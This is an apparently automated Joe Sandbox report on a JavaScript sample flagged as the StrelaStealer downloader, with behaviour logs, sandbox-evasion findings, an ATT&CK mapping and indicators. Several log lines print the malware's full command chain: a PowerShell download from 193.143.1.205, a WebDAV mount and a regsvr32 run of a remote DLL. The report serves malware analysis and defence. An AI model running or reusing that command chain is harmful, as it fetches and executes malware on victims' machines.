Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4682			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5133			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep count: 4682 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep count: 5133 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7948	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8004	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6172	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4400	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 0000000E.00000002.2552488676.000001AFDB22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@T
Source: net.exe, 0000000C.00000002.1333421295.00000162F76B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333421295.00000162F7720000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2554391793.000001AFE0854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1333421295.00000162F7720000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWf

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
584319483127519041.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
584319483127519041.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/;	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/(	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/t	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/(	net.exe, 0000000C.00000002.1333421295.00000162F76ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tem	net.exe, 0000000C.00000002.1333421295.00000162F76B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000001.00000002.1272285208.00000172620A1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2554297415.000001AFE0800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
http://193.143.1.205:8888/;	net.exe, 0000000C.00000002.1333421295.00000162F76B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/t	net.exe, 0000000C.00000002.1333421295.00000162F76ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1333421295.00000162F76B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333421295.00000162F770D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333421295.00000162F76ED000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333421295.00000162F76DE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 0000000E.00000003.1325027066.000001AFE0660000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588776
Start date and time:	2025-01-11 05:22:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	584319483127519041.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 2.22.50.144, 2.22.50.131, 2.16.168.107, 2.16.168.105, 23.200.0.21, 23.200.0.33, 192.168.2.10, 13.107.246.45, 54.224.241.105, 104.76.100.172, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:23:10	API Interceptor	21x Sleep call for process: powershell.exe modified
23:23:13	API Interceptor	2x Sleep call for process: svchost.exe modified
23:23:14	API Interceptor	1x Sleep call for process: net.exe modified
23:23:22	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2660438432237518549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709817689110827228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807463297657417
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9e:0J7adfWuK0p/QDfKoPeuP0aN4fqoxZ
MD5:	D7F3A8036E59208BCAF980E565432906
SHA1:	FA440D7D6643E779A1700E35594145564F3BEA37
SHA-256:	1110420614690A7591DE116A51A17E9FA0DAF46759C2248F834FB7A2AAFA89C9
